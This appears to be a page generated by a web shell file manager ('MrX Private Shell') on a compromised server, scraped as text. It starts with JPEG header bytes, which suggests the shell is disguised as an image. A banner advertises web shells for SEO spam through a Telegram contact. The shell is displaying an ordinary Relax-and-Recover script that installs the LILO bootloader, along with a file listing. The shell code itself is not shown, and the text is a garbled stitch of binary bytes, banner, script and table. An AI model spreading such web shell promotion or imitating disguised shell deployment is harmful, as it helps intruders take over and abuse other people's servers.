����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This script is meant for linux based systems using legacy LILO (Slackware)
#
# skip if another bootloader was installed
if [[ -z "$NOBOOTLOADER" ]] ; then
return
fi
# For UEFI systems with lilo legacy with should use efibootmgr instead:
is_true $USING_UEFI_BOOTLOADER && return
# Only for lilo
[[ "$BOOTLOADER" == "LILO" ]] || return 0 # only continue when bootloader is lilo based
type -p $TARGET_FS_ROOT/sbin/lilo || Error "BOOTLOADER is LILO but there is no $TARGET_FS_ROOT/sbin/lilo"
LogPrint "Installing LILO boot loader"
if [[ -r "$LAYOUT_FILE" && -r "$LAYOUT_DEPS" ]]; then
[[ -r "$TARGET_FS_ROOT/etc/lilo.conf" ]]
LogIfError "Unable to find /etc/lilo.conf"
# Find the disks that need a new LILO
disks=$( grep '^disk \|^multipath ' $LAYOUT_FILE | cut -d' ' -f2 )
[[ "$disks" ]] || Error "Unable to find any disks to install LILO on"
chroot $TARGET_FS_ROOT /sbin/lilo -v >&2
if (( $? == 0 )); then
NOBOOTLOADER=
fi
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 610_EFISTUB_run_efibootmgr.sh | File | 3.79 KB | 0644 |
|
| 630_install_grub.sh | File | 5.78 KB | 0644 |
|
| 640_install_lilo.sh | File | 982 B | 0644 |
|
| 650_install_elilo.sh | File | 1.57 KB | 0644 |
|
| 660_install_grub2.sh | File | 10.57 KB | 0644 |
|
| 670_run_efibootmgr.sh | File | 5.07 KB | 0644 |
|